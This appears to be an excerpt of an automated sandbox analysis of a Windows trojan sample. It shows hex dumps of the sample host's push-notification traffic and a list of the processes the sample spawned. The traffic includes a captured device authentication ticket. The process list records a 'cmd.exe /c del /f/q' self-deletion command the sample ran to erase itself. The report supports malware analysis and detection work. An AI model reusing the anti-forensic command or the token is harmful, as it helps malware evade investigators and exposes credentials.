2024-04-18 23:33:56 UTC	1064	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 34 31 0d 0a 4d 53 2d 43 56 3a 20 2f 4f 47 5a 68 37 76 52 30 55 2b 7a 67 2b 61 46 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 64 32 37 35 39 39 36 31 66 64 34 62 62 66 34 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 5a 39 63 4d 61 52 58 6b 53 4d 77 64 37 59 6c 71 59 32 61 4e 69 78 54 73 51 7a 77 78 4b 38 5a 55 41 6f 6d 4f 74 6d 78 4f 58 32 7a 50 57 75 37 78 58 45 4d 61 4a 45 51 63 39 73 51 75 36 6c 38 34 42 33 6b 52 58 33 2b 76 58 35 51 47 4a 4a 65 57 77 47 74 79 4e 51 64 54 6f 42 4a 6e 55 64 63 70 55 53 54 67 38 78 6e 4c 4d 78 38 65 66 Data Ascii: ATH 2 CON\DEVICE 1041MS-CV: /OGZh7vR0U+zg+aF.2Context: 4d2759961fd4bbf4<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAZ9cMaRXkSMwd7YlqY2aNixTsQzwxK8ZUAomOtmxOX2zPWu7xXEMaJEQc9sQu6l84B3kRX3+vX5QGJJeWwGtyNQdToBJnUdcpUSTg8xnLMx8ef
2024-04-18 23:33:56 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 2f 4f 47 5a 68 37 76 52 30 55 2b 7a 67 2b 61 46 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 64 32 37 35 39 39 36 31 66 64 34 62 62 66 34 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: /OGZh7vR0U+zg+aF.3Context: 4d2759961fd4bbf4<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-04-18 23:33:56 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-04-18 23:33:56 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 56 63 46 4a 70 52 37 6f 46 55 6d 61 54 49 6b 61 64 64 66 2b 70 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: VcFJpR7oFUmaTIkaddf+pg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.6	49757	52.159.126.152	443

Timestamp	Bytes transferred	Direction	Data
2024-04-18 23:34:23 UTC	70	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 34 0d 0a 4d 53 2d 43 56 3a 20 4f 77 36 72 32 72 36 46 44 45 71 65 4b 2b 31 6a 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 38 31 63 63 64 36 39 38 35 35 34 32 35 34 0d 0a 0d 0a Data Ascii: CNT 1 CON 304MS-CV: Ow6r2r6FDEqeK+1j.1Context: e81ccd698554254
2024-04-18 23:34:23 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-04-18 23:34:23 UTC	1063	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 34 30 0d 0a 4d 53 2d 43 56 3a 20 4f 77 36 72 32 72 36 46 44 45 71 65 4b 2b 31 6a 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 38 31 63 63 64 36 39 38 35 35 34 32 35 34 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 5a 39 63 4d 61 52 58 6b 53 4d 77 64 37 59 6c 71 59 32 61 4e 69 78 54 73 51 7a 77 78 4b 38 5a 55 41 6f 6d 4f 74 6d 78 4f 58 32 7a 50 57 75 37 78 58 45 4d 61 4a 45 51 63 39 73 51 75 36 6c 38 34 42 33 6b 52 58 33 2b 76 58 35 51 47 4a 4a 65 57 77 47 74 79 4e 51 64 54 6f 42 4a 6e 55 64 63 70 55 53 54 67 38 78 6e 4c 4d 78 38 65 66 6e Data Ascii: ATH 2 CON\DEVICE 1040MS-CV: Ow6r2r6FDEqeK+1j.2Context: e81ccd698554254<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAZ9cMaRXkSMwd7YlqY2aNixTsQzwxK8ZUAomOtmxOX2zPWu7xXEMaJEQc9sQu6l84B3kRX3+vX5QGJJeWwGtyNQdToBJnUdcpUSTg8xnLMx8efn
2024-04-18 23:34:23 UTC	217	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 36 0d 0a 4d 53 2d 43 56 3a 20 4f 77 36 72 32 72 36 46 44 45 71 65 4b 2b 31 6a 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 38 31 63 63 64 36 39 38 35 35 34 32 35 34 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 196MS-CV: Ow6r2r6FDEqeK+1j.3Context: e81ccd698554254<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-04-18 23:34:23 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-04-18 23:34:23 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 71 54 71 4c 78 6d 34 69 73 55 4f 71 4d 73 61 55 77 41 4b 58 72 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: qTqLxm4isUOqMsaUwAKXrw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.6	49758	52.159.126.152	443

Timestamp	Bytes transferred	Direction	Data
2024-04-18 23:34:54 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 71 4a 62 74 4f 6b 74 56 4a 30 75 71 74 68 31 37 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 64 64 63 33 38 65 30 39 34 32 66 30 30 35 63 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: qJbtOktVJ0uqth17.1Context: eddc38e0942f005c
2024-04-18 23:34:54 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-04-18 23:34:54 UTC	1064	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 34 31 0d 0a 4d 53 2d 43 56 3a 20 71 4a 62 74 4f 6b 74 56 4a 30 75 71 74 68 31 37 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 64 64 63 33 38 65 30 39 34 32 66 30 30 35 63 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 5a 39 63 4d 61 52 58 6b 53 4d 77 64 37 59 6c 71 59 32 61 4e 69 78 54 73 51 7a 77 78 4b 38 5a 55 41 6f 6d 4f 74 6d 78 4f 58 32 7a 50 57 75 37 78 58 45 4d 61 4a 45 51 63 39 73 51 75 36 6c 38 34 42 33 6b 52 58 33 2b 76 58 35 51 47 4a 4a 65 57 77 47 74 79 4e 51 64 54 6f 42 4a 6e 55 64 63 70 55 53 54 67 38 78 6e 4c 4d 78 38 65 66 Data Ascii: ATH 2 CON\DEVICE 1041MS-CV: qJbtOktVJ0uqth17.2Context: eddc38e0942f005c<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAZ9cMaRXkSMwd7YlqY2aNixTsQzwxK8ZUAomOtmxOX2zPWu7xXEMaJEQc9sQu6l84B3kRX3+vX5QGJJeWwGtyNQdToBJnUdcpUSTg8xnLMx8ef
2024-04-18 23:34:54 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 71 4a 62 74 4f 6b 74 56 4a 30 75 71 74 68 31 37 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 64 64 63 33 38 65 30 39 34 32 66 30 30 35 63 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: qJbtOktVJ0uqth17.3Context: eddc38e0942f005c<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-04-18 23:34:54 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-04-18 23:34:54 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 71 45 37 63 32 79 4e 74 6f 55 43 46 70 7a 72 54 71 34 75 2b 50 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: qE7c2yNtoUCFpzrTq4u+Pw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.6	49759	20.25.241.18	443

Timestamp	Bytes transferred	Direction	Data
2024-04-18 23:35:29 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 56 49 64 31 6d 41 50 6e 69 45 71 57 37 6f 4b 72 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 36 63 33 61 30 63 61 37 35 30 37 35 32 33 64 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: VId1mAPniEqW7oKr.1Context: 56c3a0ca7507523d
2024-04-18 23:35:29 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-04-18 23:35:29 UTC	1064	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 34 31 0d 0a 4d 53 2d 43 56 3a 20 56 49 64 31 6d 41 50 6e 69 45 71 57 37 6f 4b 72 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 36 63 33 61 30 63 61 37 35 30 37 35 32 33 64 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 5a 39 63 4d 61 52 58 6b 53 4d 77 64 37 59 6c 71 59 32 61 4e 69 78 54 73 51 7a 77 78 4b 38 5a 55 41 6f 6d 4f 74 6d 78 4f 58 32 7a 50 57 75 37 78 58 45 4d 61 4a 45 51 63 39 73 51 75 36 6c 38 34 42 33 6b 52 58 33 2b 76 58 35 51 47 4a 4a 65 57 77 47 74 79 4e 51 64 54 6f 42 4a 6e 55 64 63 70 55 53 54 67 38 78 6e 4c 4d 78 38 65 66 Data Ascii: ATH 2 CON\DEVICE 1041MS-CV: VId1mAPniEqW7oKr.2Context: 56c3a0ca7507523d<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAZ9cMaRXkSMwd7YlqY2aNixTsQzwxK8ZUAomOtmxOX2zPWu7xXEMaJEQc9sQu6l84B3kRX3+vX5QGJJeWwGtyNQdToBJnUdcpUSTg8xnLMx8ef
2024-04-18 23:35:29 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 56 49 64 31 6d 41 50 6e 69 45 71 57 37 6f 4b 72 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 36 63 33 61 30 63 61 37 35 30 37 35 32 33 64 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: VId1mAPniEqW7oKr.3Context: 56c3a0ca7507523d<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-04-18 23:35:29 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-04-18 23:35:29 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 4a 30 46 6e 76 62 73 65 63 30 32 73 6d 4a 4f 34 4b 76 4d 52 63 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: J0Fnvbsec02smJO4KvMRcQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.6	49760	20.25.241.18	443

Timestamp	Bytes transferred	Direction	Data
2024-04-18 23:37:03 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 72 2f 64 47 65 52 55 32 71 6b 75 41 4e 69 35 4a 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 36 33 32 34 38 31 61 30 34 38 66 30 37 66 64 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: r/dGeRU2qkuANi5J.1Context: f632481a048f07fd
2024-04-18 23:37:03 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-04-18 23:37:03 UTC	1064	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 34 31 0d 0a 4d 53 2d 43 56 3a 20 72 2f 64 47 65 52 55 32 71 6b 75 41 4e 69 35 4a 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 36 33 32 34 38 31 61 30 34 38 66 30 37 66 64 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 5a 39 63 4d 61 52 58 6b 53 4d 77 64 37 59 6c 71 59 32 61 4e 69 78 54 73 51 7a 77 78 4b 38 5a 55 41 6f 6d 4f 74 6d 78 4f 58 32 7a 50 57 75 37 78 58 45 4d 61 4a 45 51 63 39 73 51 75 36 6c 38 34 42 33 6b 52 58 33 2b 76 58 35 51 47 4a 4a 65 57 77 47 74 79 4e 51 64 54 6f 42 4a 6e 55 64 63 70 55 53 54 67 38 78 6e 4c 4d 78 38 65 66 Data Ascii: ATH 2 CON\DEVICE 1041MS-CV: r/dGeRU2qkuANi5J.2Context: f632481a048f07fd<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAZ9cMaRXkSMwd7YlqY2aNixTsQzwxK8ZUAomOtmxOX2zPWu7xXEMaJEQc9sQu6l84B3kRX3+vX5QGJJeWwGtyNQdToBJnUdcpUSTg8xnLMx8ef
2024-04-18 23:37:03 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 72 2f 64 47 65 52 55 32 71 6b 75 41 4e 69 35 4a 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 36 33 32 34 38 31 61 30 34 38 66 30 37 66 64 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: r/dGeRU2qkuANi5J.3Context: f632481a048f07fd<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-04-18 23:37:03 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-04-18 23:37:03 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 74 41 4f 38 48 62 69 35 58 45 75 76 49 43 61 4e 53 6b 61 65 6e 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: tAO8Hbi5XEuvICaNSkaenw.0Payload parsing failed.

Target ID:	0
Start time:	01:32:58
Start date:	19/04/2024
Path:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe"
Imagebase:	0x4e0000
File size:	723'456 bytes
MD5 hash:	180E97A753B38A75031487130F0F33FE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	01:32:58
Start date:	19/04/2024
Path:	C:\Windows\System32\sihost.exe
Wow64 process (32bit):	false
Commandline:	sihost.exe
Imagebase:	0x7ff6440e0000
File size:	111'616 bytes
MD5 hash:	A21E7719D73D0322E2E7D61802CB8F80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	01:33:01
Start date:	19/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /c del /f/q "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe" > nul
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	01:33:01
Start date:	19/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	01:33:28
Start date:	19/04/2024
Path:	C:\Windows\System32\AppHostRegistrationVerifier.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\AppHostRegistrationVerifier.exe"
Imagebase:	0x7ff6bc4c0000
File size:	120'320 bytes
MD5 hash:	9709FB202693DBEC05127519EE4B65A9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	01:33:31
Start date:	19/04/2024
Path:	C:\Windows\SysWOW64\autofmt.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\SysWOW64\autofmt.exe"
Imagebase:	0xf70000
File size:	822'272 bytes
MD5 hash:	C72D80A976B7EB40534E8464957A979F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	01:33:31
Start date:	19/04/2024
Path:	C:\Windows\SysWOW64\CertEnrollCtrl.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\CertEnrollCtrl.exe"
Imagebase:	0xb40000
File size:	51'200 bytes
MD5 hash:	697EE257E705276754C7259CF982A5AC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
